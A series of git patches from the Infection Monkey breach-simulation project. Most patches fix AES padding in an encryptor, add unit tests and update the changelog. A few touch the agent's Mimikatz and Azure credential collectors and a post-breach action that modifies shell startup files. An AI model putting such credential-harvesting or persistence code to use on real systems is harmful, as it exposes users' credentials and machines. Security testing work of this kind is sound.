12cd44c10..1935d6f79 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py @@ -1,7 +1,10 @@ +import pytest + from monkey_island.cc.services.config_manipulator import update_config_on_mode_set from monkey_island.cc.services.mode.mode_enum import IslandModeEnum +@pytest.mark.usefixtures("uses_encryptor") def test_update_config_on_mode_set_advanced(config, monkeypatch): monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config) monkeypatch.setattr( @@ -14,6 +17,7 @@ def test_update_config_on_mode_set_advanced(config, monkeypatch): assert manipulated_config == config +@pytest.mark.usefixtures("uses_encryptor") def test_update_config_on_mode_set_ransomware(config, monkeypatch): monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config) monkeypatch.setattr( From 3b5dd6ac3ecba55be16bad9a4c727ce3c031bcc2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Oct 2021 14:23:50 +0300 Subject: [PATCH 313/454] Remove database initialization during island startup Database initialization can not be done because island doesn't know the key needed for encrypting collections. Since the key only appears after registration, database setup also should happen only after registration --- monkey/monkey_island/cc/app.py | 2 -- monkey/monkey_island/cc/services/database.py | 5 ----- 2 files changed, 7 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 0bc20852f..5f877d318 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -54,7 +54,6 @@ from monkey_island.cc.resources.zero_trust.scoutsuite_auth.scoutsuite_auth impor from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder -from monkey_island.cc.services.database import Database from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.representations import output_json @@ -108,7 +107,6 @@ def init_app_services(app): with app.app_context(): database.init() - Database.init_db() # If running on AWS, this will initialize the instance data, which is used "later" in the # execution of the island. diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index afd4ecc02..fb46cd726 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -33,11 +33,6 @@ class Database(object): mongo.db[collection_name].drop() logger.info("Dropped collection {}".format(collection_name)) - @staticmethod - def init_db(): - if not mongo.db.collection_names(): - Database.reset_db() - @staticmethod def is_mitigations_missing() -> bool: return bool(AttackMitigations.COLLECTION_NAME not in mongo.db.list_collection_names()) From ddff2f0aa411f99c0eb787774cad3748478e1304 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Oct 2021 14:26:30 +0300 Subject: [PATCH 314/454] Refactor a couple of imports into a shorter import statement --- monkey/monkey_island/cc/server_utils/encryption/__init__.py | 6 +++++- .../cc/server_utils/encryption/data_store_encryptor.py | 5 +++-- monkey/monkey_island/cc/services/authentication.py | 2 +- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index ea04a25e1..109423634 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -11,7 +11,11 @@ from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_en InvalidCredentialsError, InvalidCiphertextError, ) -from .data_store_encryptor import initialize_datastore_encryptor, get_datastore_encryptor +from .data_store_encryptor import ( + initialize_datastore_encryptor, + get_datastore_encryptor, + remove_old_datastore_key, +) from .dict_encryption.dict_encryptor import ( SensitiveField, encrypt_dict, diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 6ac0a23ad..f7add80f3 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -3,8 +3,9 @@ from typing import Union from Crypto import Random # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.encryption import IEncryptor, KeyBasedEncryptor -from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryption import ( +from monkey_island.cc.server_utils.encryption import ( + IEncryptor, + KeyBasedEncryptor, PasswordBasedBytesEncryptor, ) from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file diff --git a/monkey/monkey_island/cc/services/authentication.py b/monkey/monkey_island/cc/services/authentication.py index ac5400bfd..9d3d3baa7 100644 --- a/monkey/monkey_island/cc/services/authentication.py +++ b/monkey/monkey_island/cc/services/authentication.py @@ -1,8 +1,8 @@ from monkey_island.cc.server_utils.encryption import ( get_datastore_encryptor, initialize_datastore_encryptor, + remove_old_datastore_key, ) -from monkey_island.cc.server_utils.encryption.data_store_encryptor import remove_old_datastore_key class AuthenticationService: From 3ab660b8fea2ed4d209f077cbbf6c4288b437ae0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 4 Oct 2021 13:43:51 +0530 Subject: [PATCH 315/454] tests: Add unit tests for key based encryptor --- .../encryption/test_key_based_encryptor.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py new file mode 100644 index 000000000..391002417 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py @@ -0,0 +1,19 @@ +from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor + +PLAINTEXT = "password" +PLAINTEXT_UTF8 = "slaptažodis" # "password" in Lithuanian +KEY = b"\x84\xd4qA\xb5\xd4Y\x9bH.\x14\xab\xd8\xc7+g\x12\xfa\x80'%\xfd#\xf8c\x94\xb9\x96_\xf4\xc51" + +kb_encryptor = KeyBasedEncryptor(KEY) + + +def test_encrypt_decrypt_string_with_key(): + encrypted = kb_encryptor.encrypt(PLAINTEXT) + decrypted = kb_encryptor.decrypt(encrypted) + assert decrypted == PLAINTEXT + + +def test_encrypt_decrypt_string_utf8_with_key(): + encrypted = kb_encryptor.encrypt(PLAINTEXT_UTF8) + decrypted = kb_encryptor.decrypt(encrypted) + assert decrypted == PLAINTEXT_UTF8 From fc1affc0e7400d1dae120bd6fd4b3fba260ef3b2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 4 Oct 2021 14:02:51 +0530 Subject: [PATCH 316/454] island: Change KeyBasedEncryptor's padding functions to use Crypto.Util.Padding --- .../encryption/encryptors/key_based_encryptor.py | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py index b5fe92d96..78aaacf9c 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py @@ -5,6 +5,7 @@ import logging # is maintained. from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 +from Crypto.Util import Padding # noqa: DUO133 from monkey_island.cc.server_utils.encryption import IEncryptor @@ -37,11 +38,8 @@ class KeyBasedEncryptor(IEncryptor): cipher = AES.new(self._key, AES.MODE_CBC, cipher_iv) return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) - # TODO: Review and evaluate the security of the padding function - def _pad(self, message): - return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( - self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) - ) + def _pad(self, message: str) -> str: + return Padding.pad(message.encode(), self._BLOCK_SIZE).decode() - def _unpad(self, message: str): - return message[0 : -ord(message[len(message) - 1])] + def _unpad(self, message: str) -> str: + return Padding.unpad(message.encode(), self._BLOCK_SIZE).decode() From 404228b04c7a874518922be37c97d04c8ca86fb2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 4 Oct 2021 14:06:28 +0530 Subject: [PATCH 317/454] island: Modify KeyBasedEncryptor to get rid of redundant encoding and decoding --- .../encryption/encryptors/key_based_encryptor.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py index 78aaacf9c..cb37a8c08 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py @@ -30,16 +30,16 @@ class KeyBasedEncryptor(IEncryptor): def encrypt(self, plaintext: str) -> str: cipher_iv = Random.new().read(AES.block_size) cipher = AES.new(self._key, AES.MODE_CBC, cipher_iv) - return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(plaintext).encode())).decode() + return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(plaintext))).decode() def decrypt(self, ciphertext: str): enc_message = base64.b64decode(ciphertext) cipher_iv = enc_message[0 : AES.block_size] cipher = AES.new(self._key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) + return self._unpad(cipher.decrypt(enc_message[AES.block_size :])) - def _pad(self, message: str) -> str: - return Padding.pad(message.encode(), self._BLOCK_SIZE).decode() + def _pad(self, message: str) -> bytes: + return Padding.pad(message.encode(), self._BLOCK_SIZE) - def _unpad(self, message: str) -> str: - return Padding.unpad(message.encode(), self._BLOCK_SIZE).decode() + def _unpad(self, message: bytes) -> str: + return Padding.unpad(message, self._BLOCK_SIZE).decode() From f6b13309827533559f8ec00b3b4bd0a622fa7f8a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 5 Oct 2021 12:05:49 +0530 Subject: [PATCH 318/454] tests: Add test cases for KeyBasedEncryptor's tests --- .../encryption/test_key_based_encryptor.py | 22 +++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py index 391002417..10803cff9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py @@ -1,7 +1,9 @@ from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor PLAINTEXT = "password" -PLAINTEXT_UTF8 = "slaptažodis" # "password" in Lithuanian +PLAINTEXT_UTF8_1 = "slaptažodis" # "password" in Lithuanian +PLAINTEXT_UTF8_2 = "弟" # Japanese +PLAINTEXT_UTF8_3 = "ж" # Ukranian KEY = b"\x84\xd4qA\xb5\xd4Y\x9bH.\x14\xab\xd8\xc7+g\x12\xfa\x80'%\xfd#\xf8c\x94\xb9\x96_\xf4\xc51" kb_encryptor = KeyBasedEncryptor(KEY) @@ -13,7 +15,19 @@ def test_encrypt_decrypt_string_with_key(): assert decrypted == PLAINTEXT -def test_encrypt_decrypt_string_utf8_with_key(): - encrypted = kb_encryptor.encrypt(PLAINTEXT_UTF8) +def test_encrypt_decrypt_string_utf8_with_key_1(): + encrypted = kb_encryptor.encrypt(PLAINTEXT_UTF8_1) decrypted = kb_encryptor.decrypt(encrypted) - assert decrypted == PLAINTEXT_UTF8 + assert decrypted == PLAINTEXT_UTF8_1 + + +def test_encrypt_decrypt_string_utf8_with_key_2(): + encrypted = kb_encryptor.encrypt(PLAINTEXT_UTF8_2) + decrypted = kb_encryptor.decrypt(encrypted) + assert decrypted == PLAINTEXT_UTF8_2 + + +def test_encrypt_decrypt_string_utf8_with_key_3(): + encrypted = kb_encryptor.encrypt(PLAINTEXT_UTF8_3) + decrypted = kb_encryptor.decrypt(encrypted) + assert decrypted == PLAINTEXT_UTF8_3 From f1b96836174555967f848be46110fb00b083011f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 5 Oct 2021 12:08:52 +0530 Subject: [PATCH 319/454] tests: Use pytest's parametrize for KeyBasedEncryptor's unit tests --- .../encryption/test_key_based_encryptor.py | 21 ++++++------------- 1 file changed, 6 insertions(+), 15 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py index 10803cff9..56e6565a0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py @@ -1,3 +1,5 @@ +import pytest + from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor PLAINTEXT = "password" @@ -15,19 +17,8 @@ def test_encrypt_decrypt_string_with_key(): assert decrypted == PLAINTEXT -def test_encrypt_decrypt_string_utf8_with_key_1(): - encrypted = kb_encryptor.encrypt(PLAINTEXT_UTF8_1) +@pytest.mark.parametrize("plaintext", [PLAINTEXT_UTF8_1, PLAINTEXT_UTF8_2, PLAINTEXT_UTF8_3]) +def test_encrypt_decrypt_string_utf8_with_key(plaintext): + encrypted = kb_encryptor.encrypt(plaintext) decrypted = kb_encryptor.decrypt(encrypted) - assert decrypted == PLAINTEXT_UTF8_1 - - -def test_encrypt_decrypt_string_utf8_with_key_2(): - encrypted = kb_encryptor.encrypt(PLAINTEXT_UTF8_2) - decrypted = kb_encryptor.decrypt(encrypted) - assert decrypted == PLAINTEXT_UTF8_2 - - -def test_encrypt_decrypt_string_utf8_with_key_3(): - encrypted = kb_encryptor.encrypt(PLAINTEXT_UTF8_3) - decrypted = kb_encryptor.decrypt(encrypted) - assert decrypted == PLAINTEXT_UTF8_3 + assert decrypted == plaintext From 06778b75258290f07ec6585e3a91decf77022a7a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 5 Oct 2021 12:14:37 +0530 Subject: [PATCH 320/454] island: Remove thin wrappers for padding in KeyBasedEncryptor, call inline --- .../encryption/encryptors/key_based_encryptor.py | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py index cb37a8c08..551014be1 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py @@ -30,16 +30,12 @@ class KeyBasedEncryptor(IEncryptor): def encrypt(self, plaintext: str) -> str: cipher_iv = Random.new().read(AES.block_size) cipher = AES.new(self._key, AES.MODE_CBC, cipher_iv) - return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(plaintext))).decode() + padded_plaintext = Padding.pad(plaintext.encode(), self._BLOCK_SIZE) + return base64.b64encode(cipher_iv + cipher.encrypt(padded_plaintext)).decode() def decrypt(self, ciphertext: str): enc_message = base64.b64decode(ciphertext) cipher_iv = enc_message[0 : AES.block_size] cipher = AES.new(self._key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size :])) - - def _pad(self, message: str) -> bytes: - return Padding.pad(message.encode(), self._BLOCK_SIZE) - - def _unpad(self, message: bytes) -> str: - return Padding.unpad(message, self._BLOCK_SIZE).decode() + padded_plaintext = cipher.decrypt(enc_message[AES.block_size :]) + return Padding.unpad(padded_plaintext, self._BLOCK_SIZE).decode() From f2b632e46afd81abe2b2e08f8f38c62a2cd4a9c9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 5 Oct 2021 12:26:02 +0530 Subject: [PATCH 321/454] tests: Add KeyBasedEcnryptor unit test for plaintext which is a multiple of block size in length --- .../server_utils/encryption/test_key_based_encryptor.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py index 56e6565a0..d41f866a7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_key_based_encryptor.py @@ -3,9 +3,11 @@ import pytest from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor PLAINTEXT = "password" +PLAINTEXT_MULTIPLE_BLOCK_SIZE = "banana" * KeyBasedEncryptor._BLOCK_SIZE PLAINTEXT_UTF8_1 = "slaptažodis" # "password" in Lithuanian PLAINTEXT_UTF8_2 = "弟" # Japanese PLAINTEXT_UTF8_3 = "ж" # Ukranian + KEY = b"\x84\xd4qA\xb5\xd4Y\x9bH.\x14\xab\xd8\xc7+g\x12\xfa\x80'%\xfd#\xf8c\x94\xb9\x96_\xf4\xc51" kb_encryptor = KeyBasedEncryptor(KEY) @@ -22,3 +24,9 @@ def test_encrypt_decrypt_string_utf8_with_key(plaintext): encrypted = kb_encryptor.encrypt(plaintext) decrypted = kb_encryptor.decrypt(encrypted) assert decrypted == plaintext + + +def test_encrypt_decrypt_string_multiple_block_size_with_key(): + encrypted = kb_encryptor.encrypt(PLAINTEXT_MULTIPLE_BLOCK_SIZE) + decrypted = kb_encryptor.decrypt(encrypted) + assert decrypted == PLAINTEXT_MULTIPLE_BLOCK_SIZE From 19dad894685e71fe4627d6672df7245da8eaa4b6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 5 Oct 2021 12:29:49 +0530 Subject: [PATCH 322/454] CHANGELOG: Add entry for encryptor not working with utf-8 characters bugfix --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0aec3d277..d56de4aa8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -44,6 +44,9 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - PBA table collapse in security report on data change. #1423 - Unsigned Windows agent binaries in Linux packages are now signed. #1444 - Some of the gathered credentials no longer appear in database plaintext. #1454 +- Encryptor breaking with UTF-8 characters. (Passwords in different languages can be submitted in + the config successfully now.) #1490 + ### Security - Generate a random password when creating a new user for CommunicateAsNewUser From bbda9340820d2e641076f8e53bcf3a70c47a1093 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 5 Oct 2021 16:04:02 +0300 Subject: [PATCH 323/454] Monkey: include credential key into info dict of InfoCollector class This change cleans up the code because the info collectors can just add credentials to the info dictionary without explicitly checking if the key already exists --- monkey/infection_monkey/system_info/__init__.py | 4 +--- monkey/infection_monkey/system_info/windows_info_collector.py | 3 +-- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 51da9b869..7d0659926 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -59,7 +59,7 @@ class InfoCollector(object): """ def __init__(self): - self.info = {} + self.info = {"credentials": {}} def get_info(self): # Collect all hardcoded @@ -96,8 +96,6 @@ class InfoCollector(object): return logger.debug("Harvesting creds if on an Azure machine") azure_collector = AzureCollector() - if "credentials" not in self.info: - self.info["credentials"] = {} azure_creds = azure_collector.extract_stored_credentials() for cred in azure_creds: username = cred[0] diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index ffc720dff..f3242922e 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -45,8 +45,7 @@ class WindowsInfoCollector(InfoCollector): try: credentials = MimikatzCredentialCollector.get_creds() if credentials: - if "credentials" in self.info: - self.info["credentials"].update(credentials) + self.info["credentials"].update(credentials) logger.info("Mimikatz info gathered successfully") else: logger.info("No mimikatz info was gathered") From bc422128f5e8401ab39abbc2efbce9a5f63a7dc1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 5 Oct 2021 17:16:51 +0300 Subject: [PATCH 324/454] Monkey: add CHANGELOG.md entry about fixed Mimikatz credential collector when Azure credential collector is disabled --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index d56de4aa8..12cd86301 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -46,6 +46,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Some of the gathered credentials no longer appear in database plaintext. #1454 - Encryptor breaking with UTF-8 characters. (Passwords in different languages can be submitted in the config successfully now.) #1490 +- Mimikatz collector no longer fails if Azure credential collector is disabled. #1512 #1493 ### Security From e80662f7f8f256ac2460d3e98ea5cadb6c5ddebf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 4 Oct 2021 17:43:55 +0200 Subject: [PATCH 325/454] Agent: Check for empty result in Modify shell files --- CHANGELOG.md | 1 + .../post_breach/actions/modify_shell_startup_files.py | 8 ++++++++ 2 files changed, 9 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 12cd86301..a50e65b37 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -47,6 +47,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Encryptor breaking with UTF-8 characters. (Passwords in different languages can be submitted in the config successfully now.) #1490 - Mimikatz collector no longer fails if Azure credential collector is disabled. #1512 #1493 +- Unhandled error when "modify shell startup files PBA" is unable to find regular users. #1507 ### Security diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 18990ab11..3283bcc94 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -20,6 +20,13 @@ class ModifyShellStartupFiles(PBA): def run(self): results = [pba.run() for pba in self.modify_shell_startup_PBA_list()] + if not results: + results = [ + ( + "Modify shell startup files PBA failed: Unable to find any regular users", + False, + ) + ] PostBreachTelem(self, results).send() def modify_shell_startup_PBA_list(self): @@ -61,6 +68,7 @@ class ModifyShellStartupFiles(PBA): output = subprocess.check_output( # noqa: DUO116 self.command, stderr=subprocess.STDOUT, shell=True ).decode() + return output, True except subprocess.CalledProcessError as e: # Return error output of the command From 4944947b100feec60a5021c9d069da5259c7fc9d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 4 Oct 2021 13:29:13 -0400 Subject: [PATCH 326/454] Island: Rename password_based_bytes_encrypt{ion,or}.py --- monkey/monkey_island/cc/server_utils/encryption/__init__.py | 2 +- ...ed_bytes_encryption.py => password_based_bytes_encryptor.py} | 0 .../encryption/encryptors/password_based_string_encryptior.py | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) rename monkey/monkey_island/cc/server_utils/encryption/encryptors/{password_based_bytes_encryption.py => password_based_bytes_encryptor.py} (100%) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 109423634..54a549181 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -6,7 +6,7 @@ from monkey_island.cc.server_utils.encryption.encryptors.password_based_string_e PasswordBasedStringEncryptor, is_encrypted, ) -from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryption import ( +from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryptor import ( PasswordBasedBytesEncryptor, InvalidCredentialsError, InvalidCiphertextError, diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryption.py rename to monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py index 9f99f735b..be8b6d6d6 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py @@ -4,7 +4,7 @@ import logging import pyAesCrypt from monkey_island.cc.server_utils.encryption import IEncryptor -from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryption import ( +from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryptor import ( PasswordBasedBytesEncryptor, ) From f65251dddee82b3280a4e8b616ab2f2a2439d45a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 4 Oct 2021 13:32:28 -0400 Subject: [PATCH 327/454] Island: Rename password_based_string_encrypt{i,}or.py --- monkey/monkey_island/cc/server_utils/encryption/__init__.py | 2 +- ..._string_encryptior.py => password_based_string_encryptor.py} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename monkey/monkey_island/cc/server_utils/encryption/encryptors/{password_based_string_encryptior.py => password_based_string_encryptor.py} (100%) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 54a549181..907ffbde6 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -2,7 +2,7 @@ from monkey_island.cc.server_utils.encryption.encryptors.i_encryptor import IEnc from monkey_island.cc.server_utils.encryption.encryptors.key_based_encryptor import ( KeyBasedEncryptor, ) -from monkey_island.cc.server_utils.encryption.encryptors.password_based_string_encryptior import ( +from monkey_island.cc.server_utils.encryption.encryptors.password_based_string_encryptor import ( PasswordBasedStringEncryptor, is_encrypted, ) diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py rename to monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptor.py From 5aa0506ce1954c1077ce7a15244469aaf0cc3771 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 4 Oct 2021 13:59:06 -0400 Subject: [PATCH 328/454] Island: Use relative imports inside encryption package --- .../cc/server_utils/encryption/data_store_encryptor.py | 7 ++----- .../encryption/dict_encryption/dict_encryptor.py | 4 +--- .../field_encryptors/mimikatz_results_encryptor.py | 6 ++---- .../field_encryptors/string_list_encryptor.py | 6 ++---- .../cc/server_utils/encryption/encryptors/__init__.py | 4 ++++ .../encryption/encryptors/key_based_encryptor.py | 2 +- .../encryptors/password_based_bytes_encryptor.py | 2 +- .../encryptors/password_based_string_encryptor.py | 6 ++---- 8 files changed, 15 insertions(+), 22 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index f7add80f3..3e8028944 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -3,13 +3,10 @@ from typing import Union from Crypto import Random # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.encryption import ( - IEncryptor, - KeyBasedEncryptor, - PasswordBasedBytesEncryptor, -) from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file +from .encryptors import IEncryptor, KeyBasedEncryptor, PasswordBasedBytesEncryptor + _KEY_FILENAME = "mongo_key.bin" _BLOCK_SIZE = 32 diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py index a95a761e0..4dc4662d6 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py @@ -3,9 +3,7 @@ from typing import Callable, List, Type import dpath.util -from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( - IFieldEncryptor, -) +from .field_encryptors import IFieldEncryptor class FieldNotFoundError(Exception): diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py index ff2ee314e..163bee8fd 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py @@ -1,9 +1,7 @@ import logging -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( - IFieldEncryptor, -) +from ... import get_datastore_encryptor +from . import IFieldEncryptor logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py index 04374c462..6a0dd58d2 100644 